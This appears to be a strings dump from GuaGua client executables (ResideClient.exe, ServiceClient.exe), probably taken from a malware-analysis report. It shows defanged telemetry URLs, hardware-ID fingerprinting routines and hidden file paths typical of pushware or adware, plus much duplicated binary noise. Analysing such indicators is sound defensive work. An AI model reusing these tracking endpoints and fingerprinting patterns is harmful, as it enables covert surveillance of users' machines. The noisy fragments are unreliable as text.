" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

L).Xo

L).Xo

iBI%U-M0

iBI%U-M0

QJ%X

QJ%X

JD.Da

JD.Da

pM7%uY

pM7%uY

.duhX.K5

.duhX.K5

fWh9"%c

fWh9"%c

f

f

9'.QOo

9'.QOo

.jT-3

.jT-3

Uz=\

Uz=\

jLA%F

jLA%F

.wY@aG

.wY@aG

inÏ

inÏ

.Ka-}

.Ka-}

%s__~

%s__~

iTXtXML:com.adobe.xmp

iTXtXML:com.adobe.xmp

" id="W5M0MpCehiHzreSzNTczkc9d"?> y

" id="W5M0MpCehiHzreSzNTczkc9d"?> y

O .oN

O .oN

H$.UWW

H$.UWW

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

version="1.0.0.0"

version="1.0.0.0"

accKeyboardShortcut

accKeyboardShortcut

2.1.0.0

2.1.0.0

GirlShow.exe

GirlShow.exe

All Files (*.*)

All Files (*.*)

No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.

No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.

Access to %1 was denied..An invalid file handle was associated with %1.

Access to %1 was denied..An invalid file handle was associated with %1.

Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.

Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.

Disk full while accessing %1..An attempt was made to access %1 past its end.

Disk full while accessing %1..An attempt was made to access %1 past its end.

No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.

No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.

#Unable to load mail system support.

#Unable to load mail system support.

ServiceClient.exe_704:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

MFC71U.DLL

MFC71U.DLL

_wcmdln

_wcmdln

_amsg_exit

_amsg_exit

MSVCR71.dll

MSVCR71.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

ReportEventW

ReportEventW

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

OLEAUT32.dll

OLEAUT32.dll

MSVCP71.dll

MSVCP71.dll

WTSAPI32.dll

WTSAPI32.dll

USERENV.dll

USERENV.dll

ResideClient.exe

ResideClient.exe

kernel32.dll

kernel32.dll

Wtsapi32.dll

Wtsapi32.dll

1.1.2.1

1.1.2.1

ServiceClient.exe

ServiceClient.exe

ResideClient.exe_652:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

Vh

Vh

=hX%C

=hX%C

|$'.uI

|$'.uI

|$ .uB

|$ .uB

.\CommonInfo.cpp

.\CommonInfo.cpp

%d.%d.%d

%d.%d.%d

{9A7FCFFD-86CE-4293-869B-61ED963C57EC}

{9A7FCFFD-86CE-4293-869B-61ED963C57EC}

ExecApp %s %s [%d]

ExecApp %s %s [%d]

.\DataReptMgr.cpp

.\DataReptMgr.cpp

ReptTipStart %s

ReptTipStart %s

ReptTipDisplay %s

ReptTipDisplay %s

ReptHubbleInstall %s

ReptHubbleInstall %s

ReptTipClick %s

ReptTipClick %s

ReptNotNeedPopUp %s

ReptNotNeedPopUp %s

ReptClickCloseButton %s

ReptClickCloseButton %s

CDataReptMgr::ReptClickCloseButton::strKey:%s

CDataReptMgr::ReptClickCloseButton::strKey:%s

ReptDisplayException %s

ReptDisplayException %s

ReptTipDisplayBefore %s

ReptTipDisplayBefore %s

ReptClientOnlineTime %s

ReptClientOnlineTime %s

ReptHubblePullUpUser %s

ReptHubblePullUpUser %s

ReptOnlineInfo %s

ReptOnlineInfo %s

%s?product_id=%d&uuid=%I64d&start_time=%I64d&start_duration_minute=%d&pcid=%s&ie_version=%s&window_count=%d&operating_system=%s

%s?product_id=%d&uuid=%I64d&start_time=%I64d&start_duration_minute=%d&pcid=%s&ie_version=%s&window_count=%d&operating_system=%s

hXXp://cj.guagua.cn/cjtype/hubble/useraction

hXXp://cj.guagua.cn/cjtype/hubble/useraction

.\GuaGuaRegister.cpp

.\GuaGuaRegister.cpp

.\HtmlCtrl.cpp

.\HtmlCtrl.cpp

CHtmlCtrl::OnAppCmd:notip

CHtmlCtrl::OnAppCmd:notip

CHtmlCtrl::OnAppCmd:body

CHtmlCtrl::OnAppCmd:body

CHtmlCtrl::OnAppCmd:closeself

CHtmlCtrl::OnAppCmd:closeself

roomid1=%I64d,url=%s

roomid1=%I64d,url=%s

download_url

download_url

display_url

display_url

CResideClientApp::ReptUserClickPopUpDlg:productName:%s,Uid=%I64d,RegTime=%I64d

CResideClientApp::ReptUserClickPopUpDlg:productName:%s,Uid=%I64d,RegTime=%I64d

.\ResideClient.cpp

.\ResideClient.cpp

CResideClientApp::ReptUserClickPopUpDlg:ProductID:%d,ProductName:%s,FirstUid:%I64,LastUid:%I64d

CResideClientApp::ReptUserClickPopUpDlg:ProductID:%d,ProductName:%s,FirstUid:%I64,LastUid:%I64d

CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d,NowTime:%I64d

CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d,NowTime:%I64d

CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d

CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d

%d.%d SP%d.%d

%d.%d SP%d.%d

Error::CResideClientApp::DealIntervalBusiness:iCode:%d

Error::CResideClientApp::DealIntervalBusiness:iCode:%d

ProductId=%d ,infotype=%d,result=%d,pushid=%d

ProductId=%d ,infotype=%d,result=%d,pushid=%d

uninstall %s

uninstall %s

IntervalGetInfoSession Result=%d

IntervalGetInfoSession Result=%d

GerSystemConfig: fail ResultCode:%d

GerSystemConfig: fail ResultCode:%d

:result=%d,msg=%s,MaxDisplayNum=%d,PushType=%d,StartDisplayInterval=%d

:result=%d,msg=%s,MaxDisplayNum=%d,PushType=%d,StartDisplayInterval=%d

m_oCommonInfo.GetCurrentRunProduct:

m_oCommonInfo.GetCurrentRunProduct:

ID:%d

ID:%d

m_oCommonInfo.Load() fail

m_oCommonInfo.Load() fail

&pcid=%s

&pcid=%s

&rec_uid=%I64d&rec_type=%d&ad_id=%d&uuid=%I64d&setup_time=%I64d&reg_time=%I64d&unstart_minutes=%I64d

&rec_uid=%I64d&rec_type=%d&ad_id=%d&uuid=%I64d&setup_time=%I64d&reg_time=%I64d&unstart_minutes=%I64d

product_id=%d&oem_id=%d&version=%d

product_id=%d&oem_id=%d&version=%d

.\ServiceSession.cpp

.\ServiceSession.cpp

Response %s

Response %s

post data=%s

post data=%s

&notip=%d

&notip=%d

d:d:d:d

d:d:d:d

.\HttpClass.cpp

.\HttpClass.cpp

SendHttpMsg(%s) error: [%d,%d]%s

SendHttpMsg(%s) error: [%d,%d]%s

PostHttpMsg(%s) error: [%d,%d]%s

PostHttpMsg(%s) error: [%d,%d]%s

.\ReptThread.cpp

.\ReptThread.cpp

Rept %s Result [%d, %d]

Rept %s Result [%d, %d]

XX

XX

x-x-x-x-x-x

x-x-x-x-x-x

GetHardID out hardid:%s

GetHardID out hardid:%s

! id:%s

! id:%s

GetHardID full hardid:%s

GetHardID full hardid:%s

GetHardID Sid:%s

GetHardID Sid:%s

GetHardID Pid:%s

GetHardID Pid:%s

GetHardID vid:%s

GetHardID vid:%s

GetHardID result:%d, type:%d outlen:%d

GetHardID result:%d, type:%d outlen:%d

GetHardID::PhysicalDrive%d Success

GetHardID::PhysicalDrive%d Success

.\PcCode.cpp

.\PcCode.cpp

GetHardID::PhysicalDrive%d failed err:%d

GetHardID::PhysicalDrive%d failed err:%d

f:\New_Login\GuaGua\trunk\Client\Service\bin\ResideClient.pdb

f:\New_Login\GuaGua\trunk\Client\Service\bin\ResideClient.pdb

MFC71U.DLL

MFC71U.DLL

_wcmdln

_wcmdln

_amsg_exit

_amsg_exit

MSVCR71.dll

MSVCR71.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

RegCloseKey

RegCloseKey

RegOpenKeyExW

RegOpenKeyExW

RegEnumKeyExW

RegEnumKeyExW

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteExW

ShellExecuteExW

ShellExecuteW

ShellExecuteW

SHELL32.dll

SHELL32.dll

COMCTL32.dll

COMCTL32.dll

SHLWAPI.dll

SHLWAPI.dll

OLEAUT32.dll

OLEAUT32.dll

MSVCP71.dll

MSVCP71.dll

VERSION.dll

VERSION.dll

InternetOpenUrlW

InternetOpenUrlW

InternetCanonicalizeUrlW

InternetCanonicalizeUrlW

HttpQueryInfoW

HttpQueryInfoW

WININET.dll

WININET.dll

NETAPI32.dll

NETAPI32.dll

RegOpenKeyW

RegOpenKeyW

RegCreateKeyW

RegCreateKeyW

ole32.dll

ole32.dll

.PAVCObject@@

.PAVCObject@@

.PAVCException@@

.PAVCException@@

.PAVCINETException@@

.PAVCINETException@@

.PAVCInternetException@@

.PAVCInternetException@@

-8668973499411044082

-8668973499411044082

hXXp://cj.guagua.cn/cjtype/hubble/showproduct?product_id=&uuid=-8668973499411044082

hXXp://cj.guagua.cn/cjtype/hubble/showproduct?product_id=&uuid=-8668973499411044082

82&rec_uid=0&rec_type=0&ad_id=0&fromurl=&webid=&uuid=-8668973499411044082&setuptime=0&regtime=0

82&rec_uid=0&rec_type=0&ad_id=0&fromurl=&webid=&uuid=-8668973499411044082&setuptime=0&regtime=0

dekey=afd0267f0c6ae76d673eb803d57db2df

dekey=afd0267f0c6ae76d673eb803d57db2df

%s\ServiceClient.dll

%s\ServiceClient.dll

mshtml.dll

mshtml.dll

SYSTEM\ControlSet001\Services\%s

SYSTEM\ControlSet001\Services\%s

\%s\data\Spread.dat

\%s\data\Spread.dat

%s\GuaGua\data\Spread.dat

%s\GuaGua\data\Spread.dat

\data\service.dat

\data\service.dat

&checkcodekey=

&checkcodekey=

%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d

%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/winstart

hXXp://cj.guagua.cn/cjtype/hubble/winstart

hXXp://cj.guagua.cn/cjtype/hubble/windisplay

hXXp://cj.guagua.cn/cjtype/hubble/windisplay

%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d

%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/install

hXXp://cj.guagua.cn/cjtype/hubble/install

%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d&visitor=%d

%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d&visitor=%d

hXXp://cj.guagua.cn/cjtype/hubble/winclick

hXXp://cj.guagua.cn/cjtype/hubble/winclick

hXXp://cj.guagua.cn/cjtype/hubble/notip

hXXp://cj.guagua.cn/cjtype/hubble/notip

%d%s%d%s%d%I64d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%d%s%d%s%d%I64d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

hXXp://cj.guagua.cn/cjtype/hubble/colse

hXXp://cj.guagua.cn/cjtype/hubble/colse

hXXp://cj.guagua.cn/cjtype/hubble/windisplayexcep

hXXp://cj.guagua.cn/cjtype/hubble/windisplayexcep

hXXp://cj.guagua.cn/cjtype/hubble/windisplaybefore

hXXp://cj.guagua.cn/cjtype/hubble/windisplaybefore

%s?product_id=%s&uuid=%I64d

%s?product_id=%s&uuid=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/showproduct

hXXp://cj.guagua.cn/cjtype/hubble/showproduct

%d%s%d%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%d%s%d%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%s?onlinetime=%d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d

%s?onlinetime=%d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/clientonlinetime

hXXp://cj.guagua.cn/cjtype/hubble/clientonlinetime

%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d&userid=%I64d

%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d&regtime=%I64d&userid=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/register

hXXp://cj.guagua.cn/cjtype/hubble/register

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%sroom:%I64d:1

%sroom:%I64d:1

ServiceClient.exe

ServiceClient.exe

AhXXp://hubble.guagua.cn/api/globalConf.api

AhXXp://hubble.guagua.cn/api/globalConf.api

hXXp://hubble.guagua.cn/api/pushConf.api

hXXp://hubble.guagua.cn/api/pushConf.api

%s?pname=%s&type=%d

%s?pname=%s&type=%d

hXXp://cj.17guagua.com/promotion/thirdparty

hXXp://cj.17guagua.com/promotion/thirdparty

User-Agent: %s

User-Agent: %s

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

%s\%s%s%d

%s\%s%s%d

8\\.\Smartvsd

8\\.\Smartvsd

ntdll.dll

ntdll.dll

wcods.dat

wcods.dat

C%WinDir%\msgpi.log

C%WinDir%\msgpi.log

$Recycle.Bin\$hf_mig$\

$Recycle.Bin\$hf_mig$\

update.dat

update.dat

%WinDir%\gsyspd.log

%WinDir%\gsyspd.log

SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck

SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck

%s\%s%s

%s\%s%s

ms0.dat

ms0.dat

%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak

%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak

%s\%s

%s\%s

35bdeb9d7832d63f171f5ebe290e?

35bdeb9d7832d63f171f5ebe290e?

1.2.4.1

1.2.4.1

ResideClient.exe

ResideClient.exe